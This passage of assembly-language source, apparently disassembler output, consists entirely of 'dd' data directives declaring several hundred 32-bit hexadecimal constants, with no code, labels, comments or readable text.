		dd 0CB685F4Fh, 0BC0185F4h, 0B32026DDh, 10C00D06h, 0E4350023h
		dd 0B5A6077Ah, 0ED00B60Bh, 97473D73h, 0E7E90Ah,	0C6C104F3h
		dd 4BA92339h, 35023B04h, 1180E8B8h, 4C8369B4h, 93004C49h
		dd 508174B5h, 8F181771h, 0F470A5F6h, 5CA30009h,	9B04E9EFh
		dd 4A002D32h, 34B3B167h, 0C1A636EAh, 0CE298928h, 9264F862h
		dd 45413Dh, 6D7D8E98h, 73FDB985h, 0F2A800C9h, 0C61B5F31h
		dd 66002E58h, 9BF109FAh, 22336ABh, 0F46479E1h, 2AC04B2Bh
		dd 0B10F34A0h, 43BAFEA6h, 0A822F3E9h, 0C6A4E2h,	19EB821h
		dd 9909C36h, 42CB7900h,	7D86CD87h, 80F90766h, 60AD60EBh
		dd 2EDE282Ah, 448E6C00h, 59B37AA3h, 0ED970007h,	0DF3EE1E0h
		dd 89000475h, 0CF0A3421h, 34C8FBEh, 55BC08C0h, 25A8E1CCh
		dd 52390F3Ch, 601D8F11h, 3FF3F7Eh, 0AAB0C334h, 3AB09702h
		dd 1DD70A20h, 2BAF479h,	0E18C6C43h, 0D89C6049h,	0AAFAC544h
		dd 3EFFBE0Eh, 0D7FB8004h, 1EAF64Fh, 0E5F10CF8h,	0C4EE668Bh
		dd 0D0005A8Eh, 135C65FAh, 33A4E6E8h, 9BAAC605h,	0A30235D0h
		dd 1F85D400h, 653AB00Fh, 81600F3h, 924E63E8h, 8804B599h
		dd 70D8592Dh, 648F6890h, 0F6467868h, 0ECD0007Bh, 9C55B1DDh
		dd 58000BA5h, 0F062C5CCh, 9208AF97h, 0C6F5C98h,	89566E00h
		dd 72421786h, 3D06DA1Dh, 0C5B81E40h, 3685E0h, 60FE30F5h
		dd 6A703443h, 903DC800h, 2661197Fh, 0B5EF0085h,	0BB6DA83Fh
		dd 0F40076B9h, 8197A3D4h, 5C4E57DCh, 691F3B8Ch,	1449005Ch
		dd 6A66DEB6h, 0A4BDFA00h, 0C6DB7E36h, 9E260035h, 0EA192509h
		dd 0F900BFD9h, 0C417F543h, 97D75Ah, 7ED584FAh, 89DF3D32h
		dd 106C371Dh, 0FE71A381h, 68F4A1B7h, 46DA00D9h,	2E79F8D5h
		dd 0CA00607Eh, 1987428h, 43C622h, 13F1B4E5h, 95184F06h
		dd 0EC0BD92Ch, 9080281Eh, 6EC02F10h, 210D699h, 24A573C2h
		dd 0C4BF2561h, 330F2C7Dh, 0E2D9BCFFh, 60DD61BDh, 3EEDCAh
		dd 1D1081B8h, 7E44888Dh, 0E4C1CF00h, 6AA24962h,	70357A3Ch
		dd 0DB20000Ch, 128B69ACh, 0CF17E301h, 285E6B6Ch, 0A407E7C0h
		dd 8245CEh, 374E96DCh, 0BF4A407Ah, 26605B1Eh, 11C56B0Ch
		dd 7CDF0A8h, 7FF5896Dh,	5861A0C2h, 68043BBBh, 96DDFF05h
		dd 4538B080h, 0C084F8D8h, 0B8491169h, 510071BAh, 6496DFEAh
		dd 726B639Eh, 0C8CC015Eh, 2AA2BD61h, 60308F45h,	303BDC6h
		dd 0F817E3B5h, 732E7FF3h, 920015Fh, 0EA274C0Eh,	2611CC74h
		dd 7FCBEB0h, 787F5C1Ch,	3FEDFE00h, 951A7Bh, 55BBAA7Dh
		dd 745DF145h, 0E6B0071Dh, 18ABA1C0h, 5265FEh, 9232AEC0h
		dd 89DEFD42h, 3CE2C3Fh,	31EA39A3h, 8A5AA0B7h, 95D70003h
		dd 0CF146020h, 600D51Fh, 78D4656h, 4E1B0Dh, 6366DFA6h
		dd 99644267h, 18FCB907h, 654084ACh, 155A4475h, 8C6C3BDBh
		dd 0ED62D400h, 519F3F0Eh
		dd 5B063907h, 81F2AF0Ah, 0A870E30Fh, 1A11476h, 0DB7346E0h
		dd 0EC5D8FC3h, 0D003941h, 0D62B439Eh, 35FC9BDh,	0BFACE74Bh
		dd 610E6F46h, 92FF327Bh, 38D02A07h, 60D8A099h, 4822A8B1h
		dd 0BB061592h, 18C0E164h, 9FA6609Dh, 8DB0614h, 89118137h
		dd 862D4F00h, 32480F64h, 83B200B6h, 6B8A12CFh, 2E006159h
		dd 0AECA4F1Eh, 60445390h, 0D48D186Ah, 0F2EE9C9Ah, 0BD62A31Eh
		dd 0A182234Ch, 7D2100B4h, 0C9E08168h, 0B54562FAh, 9841D2E0h
		dd 13660779h, 0A0DF377Bh, 8DBE12FBh, 4F332A03h,	0B7634CAFh
		dd 9A7053B7h, 6182A623h, 7FAD4003h, 0A2BD70A0h,	0BA380600h
		dd 0C7CC922Ah, 112409AAh, 0AC4840DBh, 4A60DF39h, 0A1CAF579h
		dd 0A8770EEFh, 0EA6F6825h, 0D05C7083h, 0BE315900h, 990FDA2Ah
		dd 0C8DE0E41h, 0A1E044D6h, 0C47F42E8h, 3EDB0802h, 0C1E9B451h
		dd 98CA3DFh, 0A8204966h, 29003DFAh, 95F781C0h, 6D664F3h
		dd 0EA555C0Fh, 114650B3h, 0FF0A324Ch, 4228F98Bh, 0AA004121h
		dd 9F3EDAh, 0B0BFFE04h,	0C4D9946h, 0DE62981Fh, 656BEA02h
		dd 817B609Eh, 44CA0061h, 0F2B16F7Fh, 0E80CC402h, 71C666F3h
		dd 7EAC0012h, 0A4B174EEh, 24036A3Fh, 446181Fh, 4CA04027h
		dd 7E9D01CAh, 0CFBF7DE4h, 0F51FFCC7h, 8CDC7A1Eh, 0DF4258B0h
		dd 502A0152h, 382886D0h, 920998FEh, 1858BF21h, 0B0011E2Ah
		dd 9D00AF7Eh, 2141B5EAh, 0C979A3Ah, 928EF6CBh, 580CB418h
		dd 80379156h, 256200E8h, 0CCD3E104h, 0B41D2666h, 8D18653Ch
		dd 4C0EEC21h, 5B00A204h, 3CF7A2A0h, 600056FCh, 210F8E4Bh
		dd 7E8EF81h, 3EB21283h,	29348020h, 483A2C65h, 3FB52CD3h
		dd 5DC2003Bh, 17EEC6C4h, 8B2807DEh, 6C756Fh, 541C27C1h
		dd 0CD37C0BDh, 0F1E00070h, 0B12C252Ah, 8D031BEBh, 991ABA04h
		dd 3F6688A9h, 67850B57h, 0C006895h, 0E405D16h, 9E8AE903h
		dd 51F06Fh, 34BFF558h, 9BA1E69h, 0F400C7F0h, 2414EBAEh
		dd 639D8DBCh, 0B825086Eh, 2CE22000h, 5DF0BDABh,	267F7A9Ah
		dd 0DC44620h, 80784C73h, 93752729h, 15817Fh, 0B3675CD9h
		dd 0AFE9835Eh, 2D60FF98h, 0FB859F29h, 0CDD50390h, 9B823E81h
		dd 936C9DC8h, 78096A01h, 0B19061B3h, 608075E1h,	3649BD01h
		dd 1A0C0665h, 18911FA1h, 2888E122h, 44829BA3h, 0C1C79374h
		dd 0AA51899Eh, 0C9D7FEACh, 0C8C4CD57h, 75A7345h, 0E35E0F6Eh
		dd 801209Eh, 9700BC39h,	7927E796h, 1128255h, 731EB6EFh
		dd 0C1213D59h, 9040E25Bh, 0AB1F57B1h, 2001E71Dh, 8BADE34h
		dd 3D147BF8h, 33831898h, 50E01FC6h, 4432821h, 4B74AA6h
		dd 0FF441C7Ch, 91DF4FDAh, 5F201F3Eh, 0A2887070h, 3B1B8850h
		dd 11F1680h, 0E64D1248h, 0F02ABC22h, 0A7062495h, 5055CCF4h
		dd 0C9410082h, 0AA4F4AA2h, 0E73A10F9h, 0B95E87B3h, 2860D51Ch
		dd 144896Fh, 361F8C71h,	0FC7BB89Ah, 0CAE6EDE3h,	0A9541407h
		dd 604E1737h, 7619B04Eh, 462400DCh, 75E611B3h, 0CB0E7E6Fh
		dd 20235D73h, 76F75BF1h, 0C398079Dh, 40E2A53Fh,	0F36AE7AAh
		dd 0AED7EEC0h, 1E405CACh, 9C21344Bh, 0E24DC7B3h, 1024965Ah
		dd 6AD9E801h, 453D8BFEh, 0CE37E4h, 5975D134h, 87151AB6h
		dd 7B2423Bh, 0A219D0BAh, 132588A0h, 12775AAh, 358B24D3h
		dd 0CCD02A1Dh, 0C200012Bh, 0DE457D8Ah, 0FCF2BD5Ch, 1913005Ah
		dd 84DA157Ah, 0AB00D7C2h, 9A878102h, 24568F47h,	8F04BD28h
		dd 76E00FA8h, 0D66CF31Dh, 9E4CEF00h, 5AF5AC87h,	0A1F00DDh
		dd 0C038078Ch, 0AB031E8Ah, 4C7C7AF9h, 257DE841h, 0A7BE0F17h
		dd 0B740CE6Ch, 0DB75348Ah, 54BCF41Dh, 2344FCC3h, 266EC0D8h
		dd 0BED107E2h, 379E528Fh, 8C247021h, 9A0090BCh,	0D8981BC2h
		dd 8E1382h, 11DCB8E7h, 23A40E29h, 4E72AD00h, 6569FEFBh
		dd 73641F91h, 0C06C4042h, 1F32A09Ah, 508C2502h,	0C05E9692h
		dd 0AE3DE7h, 0E74FD8EEh, 573B20BFh, 2CB98807h, 0D492A94Bh
		dd 0E340FF16h, 75003FDDh, 3C100C52h, 7A7334E0h,	568E00AFh
		dd 1E493674h, 333BA6FBh, 0A1091F01h, 91397980h,	0C069E2EFh
		dd 233894A4h, 7BF63A8Bh, 7F16800h, 41E2B537h, 0D4ECA816h
		dd 2C7448B7h, 175A0279h, 2E5073FEh, 0D9490EC0h,	0CD654000h
		dd 2CA2536Dh, 86E303A5h, 9905EE9h, 3302B3F8h, 0F46D6B00h
		dd 20568D31h, 38F000EDh, 9CC20E87h, 5E1D8AD5h, 4152B809h
		dd 0A16CF441h, 0D3EC61CFh, 942A003Fh, 998AC96Ah, 0AA007C48h
		dd 20AF371h, 31DEA35h, 923337DEh, 0D0E0B2BBh, 0FF000D62h
		dd 0B15DACB9h, 1EE1E024h, 40805FB3h, 0DFF31941h, 721F47FFh
		dd 32CBFEF9h, 0BD2601C2h, 0F8E8D16Fh, 10FD1D94h, 85BC0160h
		dd 70349528h, 6428CCCCh, 3007FCDCh, 100D0BD3h, 86B15370h
		dd 53C85CF8h, 0D480163Ch, 0A81141B3h, 3600575Eh, 0DD3CAFE1h
		dd 762DF8FFh, 86AB0004h, 5AA47598h, 1200F999h, 0C43533B3h
		dd 0E8417760h, 0DC797Fh, 58555E45h, 21D5430Fh, 6F00497Dh
		dd 48CBBB70h, 342250h, 684FFD8Ch, 383BC3Ah, 94B98600h
		dd 0BE89D172h, 91FB3927h, 0FD244380h, 0EB47029Bh, 0F92E4900h
		dd 0DEF590B7h, 0B9E002Ch, 0E7CDACBBh, 0F200DC0Ah, 61912788h
		dd 12A9927Ah, 982550h, 0C11E2B18h, 6200AE93h, 0F723C687h
		dd 0E7B88Ch, 0EE0E1B2Ah, 8B333AF8h, 8800D01h, 3F5265EDh
		dd 923CEA80h, 0BAF01021h, 7A6EA800h, 72F9C96Bh,	4C2D000Eh
		dd 0C471794Eh, 0A7149552h, 0EF0293h, 5E5340EDh,	77795D7Fh
		dd 84FE00E7h, 0D9A5B94Bh, 6503D28Bh, 2BB4DE19h,	0E0EDC047h
		dd 2A100E22h, 520433Dh,	33A53B18h, 0C8251C00h, 0F1F234E7h
		dd 0C7B3001Ah, 0BA298F95h, 4E00C396h, 0B9CAF878h, 0B0C1A20Ah
		dd 0DA5B05B7h, 0C021241Fh, 8F37B383h, 2CBC900h,	0D5704E0Ch
		dd 0C3BE0377h, 415C7BC4h, 101A20D0h, 17006E74h,	2EAD4042h
		dd 9120B8Ch, 0A0B67159h, 0C4587800h, 9900DB85h,	7366CEC2h
		dd 0D13C77h, 88B8510Fh,	65FB3448h, 0A5080500h, 2EFC3638h
		dd 9A640E24h, 0A3C08078h, 405A282Ch, 99426200h,	0D3039FF1h
		dd 0E1DF0025h, 0F07D9236h, 1D008D82h, 2FD62645h, 551879h
		dd 47F5E42Eh, 1419540Ah, 3EA4F3Ch, 0F15B6EEBh, 30238806h
		dd 127938h, 0A7B9D1F2h,	87D6EB4Ah, 33917700h, 0EADAADB0h
		dd 0B5191FA4h, 4B230086h, 89856B36h, 0EB7FAE00h, 40E3BEC2h
		dd 7AD87DBBh, 627E7Eh, 0AD5A0C98h, 0E434AE42h, 15FED000h
		dd 13F6094Ah, 248F0076h, 71525C1Ah, 0CD009B7Bh,	309559A7h
		dd 72F251h, 9F40F661h, 4CBFF860h, 17003F79h, 598D62B1h
		dd 0CF08F3h, 0B09DB9Ch,	1537B411h, 0C235FF00h, 8387C5EEh
		dd 6B760F9Dh, 0AB2013A7h, 78BF9CF7h, 65E62A03h,	0E04299EBh
		dd 7CA3141h, 0AE5CADA8h, 0FDF850D6h, 2570F1D5h,	6A6DD400h
		dd 0ECAB9D5Eh, 0ED7D00DFh, 0C4A6CC4Dh, 0A0384A33h, 8DD100BBh
		dd 0C53C796Ch, 9D200DFh, 505B9D92h, 95004DA5h, 28386FBEh
		dd 1419C60Eh, 9061961Ah, 6E42D600h, 75A10D82h, 26147F01h
		dd 0E96F2FD9h, 4CFE81F0h, 0C60076BBh, 69FD2E0Ch, 24009D64h
		dd 49A177B0h, 1E15DB99h, 3CAB6CC0h, 75929A80h, 6DE67D72h
		dd 0DC006B7Bh, 0AF4D082Ah, 389322D6h, 0A60E1751h, 8000DFBBh
		dd 73A02D52h, 0A41E1800h, 0EDF0FF24h, 0DC4A00BDh, 9F43C80Ah
		dd 5D00D292h, 17607A4Bh, 1CF3BFh, 2C6B625Fh, 8D49BB9Dh
		dd 2AA83300h, 69AC7EFFh, 8EF8281Ah, 76D83EC8h, 662D6A80h
		dd 0BD67B1EDh, 0A406EC7Ah
		dd 79DAA507h, 0B8130040h, 8D4C626Fh, 0CE03198Ch, 9B5990F7h
		dd 914BF0F2h, 337F8Fh, 0B55DC11h, 64DB9FE9h, 3687400h
		dd 945FF7F6h, 0DD4D0246h, 65C438C3h, 0F4CCB080h, 0BFE8788Dh
		dd 990054E8h, 0D992D31Eh, 77CACDh, 7C913B71h, 0FFCE8EEh
		dd 674CFD00h, 0F5DFE019h, 17230077h, 0F275461Ch, 0AF0C2651h
		dd 706A9381h, 0B1C60025h, 3C924598h, 4A00ED14h,	22218194h
		dd 0BB2050h, 0D33A5B82h, 68CB77F9h, 7AF70B14h, 61221697h
		dd 7E669D00h, 4DCDA17h,	4DD1BC15h, 1EE2C002h, 840F9B63h
		dd 81434F27h, 14CE906Dh, 9376D7C3h, 2B420084h, 22EE7E25h
		dd 0A57575E7h, 45020C00h, 7893B320h, 480E0076h,	0BC9E5A8h
		dd 6C0B79C8h, 80D4A341h, 28E47323h, 0D2940058h,	9D261F53h
		dd 200C838h, 0E50D1D7Fh, 4FEDADh, 0DE79D99Fh, 0AA8AB6E0h
		dd 48D1E712h, 247D26E8h, 3B8DC2EAh, 0CE136E81h,	476BDAAAh
		dd 0C328D09Ch, 0D000A797h, 0E03211B2h, 0E5BC75h, 3A9B5BCFh
		dd 0C0EF1E3Fh, 52373805h, 0D8C054F2h, 14FDECD0h, 849E33B2h
		dd 87B5291Ch, 30D78203h, 0E3F50715h, 9EE6EE00h,	980E6AC7h
		dd 0D05900B7h, 0D4236E71h, 0DF00ED35h, 1F2B724Eh, 792753h
		dd 3DA4A8FEh, 0AAB03FF5h, 0B8ABF400h, 90662CFDh, 1E0F0028h
		dd 0E4EAEFBDh, 5A04EE37h, 601CCDC1h, 45632480h,	12D03966h
		dd 629FA503h, 94F880A9h, 0B91D5936h, 0A0BCBA4h,	9D0D80F1h
		dd 914A7Dh, 0D9C06FF8h,	5B6B0919h, 3A153300h, 64DB1D1h
		dd 623000E2h, 36C1E01h,	0DF0E101Bh, 60D05FEEh, 0F5BE66A5h
		dd 609B7D02h, 178982D8h, 2E24C6E1h, 7B00C450h, 7A04918h
		dd 9C92019Eh, 5CDE51C7h, 0C0CCF388h, 0E7B9AA81h, 7E08D900h
		dd 5B12A72Ch, 0E6FA0725h, 0C287E394h, 0C607404h, 0AE48EABCh
		dd 294480D4h, 0FED160h,	5FF1877Bh, 0C7B73D49h, 7A8CA700h
		dd 3CA1CDDDh, 0D4131F1Ch, 6408022h, 0E05A6E56h,	3A075Ch
		dd 0CDFBB052h, 0FE2031FAh, 0B2B804h, 2E5D1BAh, 0C0F83B7Eh
		dd 0FA089600h, 1F09B1BBh, 17640748h, 20990DEBh,	3EAFA0DBh
		dd 901B5E00h, 0D3749EBCh, 86971667h, 3630431Eh,	5F90EBE2h
		dd 60035868h, 0ABB8C607h, 264EF850h, 1BDA006Dh,	0D6C9512h
		dd 0FD775A78h, 57908600h, 0BB7C6A81h, 7B49F675h, 0E68200B4h
		dd 7D734AF3h, 0D0005046h, 1F0A64F2h, 0F689DB30h, 82AB0077h
		dd 0FCFE356Dh, 795C929Dh, 206103E4h, 0F042EDF2h, 0E8BD2D41h
		dd 4C5003Ah, 50A2F15h, 843C0201h, 0D68C83B4h, 98607DFDh
		dd 0F6CEFE77h, 90710E16h, 8F20463Fh, 7D7569E7h,	63153200h
		dd 176D9DA9h, 62C60752h, 708CB2F8h, 0D3889A2Eh,	0A724567Dh
		dd 990024D5h, 89035EC6h, 49E0027h, 83FF324Bh, 6C07B218h
		dd 46B3A235h, 245BD240h, 55601DDFh, 0FB1CC019h,	9DF106F8h
		dd 0DBEB5A00h, 51EA907Ah, 899B1241h, 78BC00D6h,	0DD7B6839h
		dd 93CE741Dh, 0C283F080h, 74A8E7E9h, 672000BEh,	0DFBAD964h
		dd 4900BC30h, 2A755CE1h, 1E4F4337h, 0C2FEDAA8h,	349993DCh
		dd 0FF1DF048h, 974C3Ah,	3AFC7F5Dh, 1C473742h, 0C29074h
		dd 8E31453Eh, 7954BA80h, 0F8717598h, 0C419DA07h, 220A83Dh
		dd 0CD451Eh, 9F49A785h,	0FDB5C144h, 988A1900h, 9D16DA7Bh
		dd 636C01ADh, 576E0F38h, 204ED5FEh, 62007D80h, 75C21ED4h
		dd 81DDFAh, 6CBD553Ch, 0D6F20F3h, 517D4900h, 1733C371h
		dd 28970B09h, 7C007BD6h, 60F4CD91h, 0FF1F4300h,	149BA2AEh
		dd 7FA400C4h, 6AEE9C4Dh, 98902D99h, 5D8BCE00h, 89FB9A56h
		dd 22280039h, 0E7BA1B63h, 0EF004CA4h, 43E14F83h, 9FF8D7h
		dd 16FCEB13h, 0BA41A63Bh, 2BE8C600h, 2EE4B014h,	587C10h
		dd 71351997h, 0FFF01805h, 0D3A527Bh, 17038CFh, 12866A1Ah
		dd 1C5E453h, 0F5F260h, 93DBD766h, 0F7D6F840h, 44C64500h
		dd 972EA2EDh, 1B30023h,	6F80E53Eh, 90009F18h, 0CEBBC8EEh
		dd 26106E6h, 35405DB3h,	0ABC02B1Eh, 2100C532h, 98DDA409h
		dd 214E17Fh, 82339FF7h,	51C00A20h, 0AE3F8A51h, 4D40053h
		dd 94183CC1h, 68C40130h, 60C014FBh, 9088DCCBh, 0FC86E00h
		dd 66AC159Fh, 0B7F40048h, 3F82F11Ch, 5F003E28h,	0CC9E132Bh
		dd 90B07A08h, 0DC120047h, 8D2803C0h, 0B800C865h, 227E15CAh
		dd 0EA43DB0h, 3441DC23h, 2A46CE20h, 7C041FB1h, 4CA1BBE8h
		dd 0DC8CF0D0h, 0FE7803D7h, 39FA7A03h, 17C6C0C8h, 9BA0B309h
		dd 44400033h, 1E93C784h, 0E5896C4Dh, 5F34EB80h,	0A40FB617h
		dd 0E0E47D6Fh, 5AA8570Bh, 25E80041h, 8F8DD670h,	0E1EFD9A3h
		dd 157FC0BEh, 3CE6B598h, 9F886707h, 1E44C3FAh, 9A78CA0h
		dd 7D822697h, 0A30E4020h, 7E00DD14h, 1DBC07FDh,	8C9FB6h
		dd 27319744h, 7C578608h, 80D3E000h, 76C25973h, 0D19D00D5h
		dd 3585A5C7h, 6B004BB7h, 5782D997h, 70F0651h, 346CF0DFh
		dd 30A8401Eh, 68005098h, 4B0977E4h, 0F80DE47h, 0BC1A7CA5h
		dd 103E5947h, 2F8EFD64h, 78D3A000h, 0CA9AD51Dh,	8B3D00DCh
		dd 0D697EB70h, 0EF00A8F6h, 5DCB73C4h, 0F59CEAh,	7EB35FD0h
		dd 559DC7DFh, 920F2090h, 205A8335h, 412578FDh, 42C0043h
		dd 4F5FA709h, 0B3581626h, 82900F7h, 4BA09DF5h, 104901C5h
		dd 74D8958Dh, 6E02C31Fh, 0A5CE7BEDh, 0C204009h,	0E0354D7Ch
		dd 0A2A37900h, 57F07232h, 76BC7A50h, 0CE7EBDF4h, 5AE14500h
		dd 0FCED06CCh, 0E205009Eh, 50513382h, 7C00D12Ch, 0E8A0A871h
		dd 0D8D0936Dh, 0F1ABC10h, 4C08AC59h, 535800C4h,	2BB8E702h
		dd 156A0067h, 11BB89FEh, 13010946h, 0E9FB5528h,	0FDF45234h
		dd 6E430058h, 0D6BAF29Fh, 4C3A4AA8h, 0A1CA0036h, 9A85B61Ch
		dd 41B5015Ah, 5F5B8377h, 0ECD3F128h, 0A10EB039h, 0A0F83A23h
		dd 8D17710Dh, 78EB886h,	0CCD00485h, 0D099E4E5h,	0E291D6CCh
		dd 2F369500h, 518FCB65h, 0B84F00BBh, 5BCC75A2h,	0D70F40EDh
		dd 20BF6B9Ah, 959CE856h, 0E57F00D4h, 0F28E2764h, 1500FFF1h
		dd 0D7FE9AC5h, 0D4EEFCh, 21BABF5Ah, 8879D0DFh, 1690FBB8h
		dd 4301AE00h, 0D5E2E8F7h, 0EBA200F0h, 440E65B6h, 51E922Fh
		dd 9CC01916h, 234B5C85h, 90510080h, 22B5B1F9h, 0EF7CA6EBh
		dd 9300B490h, 0BB11DB05h, 1D62A9h, 3EDD465Ch, 0D880E808h
		dd 791BDF03h, 8089C098h, 3D4A64BBh, 0D2DC7AF9h,	0CCE4E500h
		dd 89B3A645h, 475A030Ch, 24634028h, 0BB4497CDh,	0E1C3D20Eh
		dd 16FC1236h, 341F7Fh, 0CBBCB2E2h, 3902F637h, 1DB088B1h
		dd 0E010817Eh, 40ACBC78h, 81C500D4h, 8CFD16DCh,	200CE574h
		dd 21BD6A99h, 6C88301Dh, 5D3D8E39h, 8C17679h, 475B26A3h
		dd 0DFF6C8h, 14CF731Fh,	0E77F400Dh, 46031600h, 0E1328D13h
		dd 0CDB11DF5h, 5991186Fh, 5F2C12A5h, 8800AC64h,	0BEB5B22Dh
		dd 32800CD2h, 5FD8CC67h, 0CBF2D30Ah, 41F784Eh, 30EF4B4Ch
		dd 45E62776h, 95391C78h, 6BA300BCh, 628597C7h, 532F01E1h
		dd 98CC8217h, 0EEDF4F0h, 0F800D1FAh, 0B066B9C3h, 0F3FFF2h
		dd 0B066FC5h, 0AB469C51h, 0D14F3D07h, 0CA80D488h, 3F437EA2h
		dd 0F4808518h, 4F54837Fh, 0CC00D9EFh, 48D35162h, 9C2B843h
		dd 0AAF0804Dh, 75E2AD03h, 313E38C8h, 5201DBE4h,	0B1F3CFCDh
		dd 804020EEh, 0FD2118h,	67A1261Bh, 39EB7AF1h, 0B0E98200h
		dd 3F175C66h, 84A90042h, 0ADE174D1h, 34F041BDh,	0E8EBF400h
		dd 2BA3CB38h, 6C40003Ah, 0F1681E2Fh, 0A00ACF3h,	2EEA0C7Eh
		dd 0ABA3B5h, 0B21FEBE0h
		dd 3DB4AAC1h, 0D6BE200h, 24292ADEh, 33C70719h, 0F032EE9Bh
		dd 9EB53FEBh, 0CF414C00h, 752358Dh, 6279F8h, 7B1FE8B3h
		dd 0A0B57916h, 7726AD00h, 657A97BFh, 64AF3EDBh,	672A3D0Ch
		dd 0FB3C8160h, 7A00FC6Dh, 808F2748h, 0C0B12E63h, 8E5B3A21h
		dd 6C01E111h, 49170788h, 0EBD4D84Bh, 7B920110h,	9B270CEDh
		dd 80FDD397h, 40082D87h, 9DE30626h, 0CBB7A000h,	0C13739h
		dd 485CB030h, 0E6FC0E4Ah, 0C0945100h, 0CB6BC4D2h, 0A6F63819h
		dd 0CF1D718Eh, 204AAAA6h, 6BCC2400h, 1439328h, 0D5F700ABh
		dd 31146642h, 4800CE9Bh, 0C3D460DDh, 63232FE7h,	45D180Ah
		dd 0F2DE4003h, 0A6A6AF80h, 83205C70h, 1F3BCB12h, 26400E95h
		dd 0DD910C3Dh, 42008320h, 35FFCF9Fh, 3B04AA1Ah,	622C6E3h
		dd 50653907h, 0EEC007D5h, 1BAEA72Fh, 61C59B05h,	0B2CC7010h
		dd 0E79FFCC0h, 2642EE3Bh, 9FF51FC2h, 80B19561h,	556163F1h
		dd 6669F0h, 1A863CD1h, 0A446FE96h, 71784A32h, 916C95DBh
		dd 6946800Bh, 3E61C2h, 11CED747h, 9445156Ch, 0DA9AF14h
		dd 0D1B70CD0h, 639BD1C2h, 18AC4195h, 970FDB90h,	2C559600h
		dd 4315794Ah, 5F783031h, 0A22A5690h, 3EA0AF61h,	7CF066B2h
		dd 1675007Ah, 0DAA658C2h, 8C009219h, 0DE760786h, 72FFE7h
		dd 17E67F5h, 0B3617F0Fh, 0C06AE900h, 424F5EEFh,	3151F405h
		dd 0A908F5E3h, 822080B4h, 5AD055E8h, 3D720060h,	0DD839518h
		dd 0F400B2D7h, 0AC1AC29Ch, 58A8861Ch, 693B9B47h, 19919805h
		dd 1E2071Fh, 5A6300E9h,	60606BECh, 75854A78h, 0C4DE0108h
		dd 0BFE70115h, 801DD116h, 74ED4721h, 124529Eh, 0A8EF7D77h
		dd 70E4216Ah, 700F744h,	0C788638Eh, 0D8AC7A26h,	3D60B188h
		dd 0F85B151Bh, 3F13C0E1h, 33691EA2h, 825D800Eh,	0ADFC45D5h
		dd 7F521C0h, 0B1ECA4h, 80F3CAC2h, 6DE1F42Ch, 0A9BA3Ah
		dd 655B0CD5h, 0A6B0D48h, 0DD52AAA7h, 66D90338h,	197B8E57h
		dd 0F6A24800h, 1FAC8F0Bh, 3A0F1868h, 153EA056h,	0AA309A78h
		dd 5E3B1073h, 214D00CEh, 0A879846Bh, 4900A077h,	6C0C1071h
		dd 0BDF5DA4Eh, 1A80410Fh, 85F3D497h, 8BC5E900h,	861B187Ah
		dd 718F0070h, 0B3554A87h, 0A20EDC51h, 4CCABB6Ah, 30EC1876h
		dd 0CB48A044h, 0DB3F7C26h, 6A438C57h, 0D31948h,	7DBFCE89h
		dd 0F3CB0C1Eh, 2C0075E0h, 2234454Bh, 4144E9h, 0A1BB780Bh
		dd 0D826F108h, 102A49C0h, 0C0810Ah, 7BDFAA53h, 0AE2047D7h
		dd 0EDCE3C03h, 0E83DEE5Eh, 586D68C9h, 0B23C55DFh, 6B8E4E80h
		dd 10CC9A5Bh, 1D0EB01h,	0D7C7CD64h, 0EA44F087h,	0B7F0E0C5h
		dd 0A5006EF1h, 28CA4DB3h, 318653h, 201A7698h, 41C2360Dh
		dd 78E46603h, 0FBEB1AFh, 7903F941h, 704BB363h, 0A9F36FD8h
		dd 78339A07h, 80B05604h, 0CD4A601h, 0D688FECBh,	0B600DFD0h
		dd 28C4A8B8h, 0E4A0226h, 127B5477h, 0CB4EC35Eh,	0DDC2F53Eh
		dd 0FCC44140h, 0F20E9E7Eh, 263BBF7Ah, 140153Ch,	3E687744h
		dd 0E0BE9284h, 362E6C49h, 2F3F3102h, 0F617E16h,	0BC008242h
		dd 30A9C4AAh, 7B1EED7Ah, 0A45ECE6Ah, 57F800B9h,	38D4E84Dh
		dd 6A27F79h, 0E59AF6BEh, 0A0068A9h, 17499DB6h, 6025BC8Ch
		dd 3C1F19C9h, 505CD08Fh, 0DCD341F0h, 51079CD8h,	36020F40h
		dd 48F05DA0h, 0D3E18CDh, 3CDD39CEh, 0E0808C51h,	0C760D453h
		dd 953A8418h, 0BFEC3FEDh, 0FD1D36BCh, 54E7008Eh, 0CAA2A713h
		dd 5A0B28C0h, 4F0231h, 9319BDEAh, 283B862Eh, 5FAA350Eh
		dd 61C0E0D9h, 45CFA4h, 0CAF2BDA1h, 0B00ED350h, 15742600h
		dd 0C8A43F29h, 0A3C9000Ah, 90D0E69Bh, 0BCEE79B5h, 48278D18h
		dd 0A72509h, 9630E698h,	0FCE016B5h, 6C6F2600h, 0DB9A240Fh
		dd 0C03F0014h, 0EE38DF1Fh, 60028C2h, 949F9520h,	39ED4E9Ch
		dd 8000BD29h, 0F6D35437h, 0FD005257h, 1EF2CDA4h, 0E694BFh
		dd 513BA3F0h, 96734A82h, 6F8B33Bh, 3FF6281Fh, 79D90121h
		dd 6410E39Dh, 0CDB980C8h, 425D4814h, 80AC6CF7h,	4506F019h
		dd 0FB5A7398h, 7C030011h, 532716E7h, 461DC806h,	0E13047CCh
		dd 7E5B0F0h, 662773E7h,	0B3C19C72h, 0BE0E7B67h,	7D4DF043h
		dd 5EF11EE0h, 6810F6D7h, 0A757BF0Ah, 0FBB808Ah,	8332C433h
		dd 0B8BC46F7h, 0E36F30h, 0BF4350C5h, 29722AB5h,	4D3CFF00h
		dd 0ABC65CA6h, 1F1007F1h, 13A471A1h, 85935FBBh,	0B1A005E0h
		dd 5090A700h, 0D52D110Fh, 0C194028Bh, 18FA4B2Ah, 1F875AE0h
		dd 81579700h, 317BA041h, 84EA0F66h, 30A05086h, 22C0E383h
		dd 0C8BE6F00h, 0B6A38504h, 59890067h, 33B4E9FFh, 7A001681h
		dd 41B9625Bh, 1A3B7Bh, 0DDD32DE7h, 0CB60AB64h, 0CE4E9800h
		dd 42F96FB4h, 0AE37033Dh, 4362ACBDh, 0E27221E8h, 0DB75BF00h
		dd 0C8FCDCD6h, 0D27E0032h, 6F0BAEA4h, 0CF00480Ah, 0E6B8C2FBh
		dd 0C7695E7Bh, 20DEA310h, 0ADACE7A6h, 673CBE70h, 81F500A0h
		dd 20FC055Dh, 80EA18D4h, 65460878h, 2C4020C7h, 0B2DDDFE0h
		dd 395B1F99h, 0CCBF006Bh, 1C52ACEh, 521549C0h, 601F4DA3h
		dd 0F481199h, 703E4BBh,	2E031D7Bh, 8F083053h, 0AAC78321h
